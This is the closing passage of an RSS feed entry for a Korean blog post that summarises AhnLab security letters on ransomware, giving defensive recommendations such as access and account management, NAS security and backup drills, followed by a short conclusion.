&lt;li data-end=&quot;1668&quot; data-start=&quot;1648&quot;&gt;&lt;b&gt;외부 접속 관리 강화&lt;/b&gt;&lt;/li&gt;
&lt;li data-end=&quot;1686&quot; data-start=&quot;1669&quot;&gt;&lt;b&gt;계정 관리 철저&lt;/b&gt;&lt;/li&gt;
&lt;li data-end=&quot;1708&quot; data-start=&quot;1687&quot;&gt;&lt;b&gt;공용 NAS (Network Attached Storage) 보안 강화&lt;/b&gt;&lt;/li&gt;
&lt;li data-end=&quot;1732&quot; data-start=&quot;1709&quot;&gt;&lt;b&gt;체계적 백업 및 복구 훈련&lt;/b&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h3 data-end=&quot;1747&quot; data-start=&quot;1739&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;7. 결론&lt;/b&gt;&lt;/h3&gt;
&lt;blockquote data-end=&quot;1881&quot; data-start=&quot;1749&quot; data-ke-style=&quot;style2&quot;&gt;
&lt;p data-end=&quot;1881&quot; data-start=&quot;1751&quot; data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;데이터를 지키는 것이 곧 생존을 지키는 것&amp;rdquo;&lt;br /&gt;랜섬웨어는 단순 파일 암호화를 넘어 기업 시스템 전체와 민감 정보까지 위협한다.&lt;br /&gt;사전 예방, 백업, 계정&amp;middot;접속 관리, 보안 모니터링, 복구 훈련이 유일한 생존 전략이다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;참고 자료&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;안랩 시큐리티 레터 제 1078-1079호&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>Security</category>
      <category>안랩 #Ahnlab #시큐리티 레터 #분석 #랜섬웨어 #ransomware #보안 #정보보안</category>
      <author>천천히, 한 걸음씩</author>
      <guid isPermaLink="true">https://jaehyun60.tistory.com/101</guid>
      <comments>https://jaehyun60.tistory.com/101#entry101comment</comments>
      <pubDate>Sun, 21 Sep 2025 09:29:04 +0900</pubDate>
    </item>
  </channel>
</rss>